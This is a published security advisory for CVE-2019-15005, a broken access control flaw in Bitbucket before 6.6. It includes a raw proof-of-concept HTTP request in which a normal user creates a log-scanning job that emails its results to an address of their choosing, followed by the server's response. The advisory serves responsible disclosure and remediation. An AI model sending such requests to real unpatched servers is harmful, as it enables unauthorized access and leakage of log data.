usd-2019-0016 | Bitbucket v5.10.1 – Broken Access Control 2


Advisory ID: usd-2019-0016
CVE Number: CVE-2019-15005
Affected Product: Bitbucket
Affected Version: < v6.6
Vulnerability Type: Broken Access Control
Security Risk: High
Vendor URL: https://www.atlassian.com/
Vendor Status: Fixed

Description

Access control, sometimes called authorization, is how a web application grants access to content and functions to some users and not others.
These checks are performed after authentication, and govern what ‘authorized’ users are allowed to do. Access control sounds like a simple problem but is insidiously difficult to implement correctly.
A web application’s access control model is closely tied to the content and functions that the site provides. In addition, the users may fall into a number of groups or roles with different abilities or privileges.

Proof of Concept (PoC)

Inside the endpoint „/rest/troubleshooting/latest/hercules/periodicScanner/settings“ an administrator can create a job for scanning logfiles periodicaly.
Unpriviliged users don’t have access to the GUI which configures such jobs. But unprivileged users can successfully send a request to create a scanning job.
In particular they can state an email address, to which the results will be send.

Request (send from an normal user):

POST /rest/troubleshooting/latest/hercules/periodicScanner/settings HTTP/1.1
Host: hostname
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
X-Atlassian-Token: no-check
X-Requested-With: XMLHttpRequest
Content-Length: 139
Cookie: BITBUCKETSESSIONID=7C0B64E8BD71F211473E99B718E58CC7;
DNT: 1
Connection: close

atl_token=2b8b95d4b3baba6ae79ceae9139839cbe06a9ca6&amp;enabled=on&amp;start-time-hour=2&amp;start-time-minute=4&amp;frequency=daily&amp;recipients=bla%40bla.de

Response:
HTTP/1.1 200
Vary: Accept-Encoding
Content-Type: application/json
Date: Thu, 07 Mar 2019 11:46:53 GMT
Connection: close
Content-Length: 83

{"feedback":"This job will be run daily starting at 3/8/19 2:04 AM (server time)."}

Fix

Protect endpoints, which provide sensitive functionalities, with proper access control.

Timeline

  • 2019-03-28 Vulnerability securely submitted to security@atlassian.com
  • 2019-08-27 Atlassian releases Bitbucket 6.6.0 which addresses the vulnerability
  • 2019-10-21 First Published

Credits

This security vulnerabilities were found by Tobias Neitzel and Julian Frey of usd AG.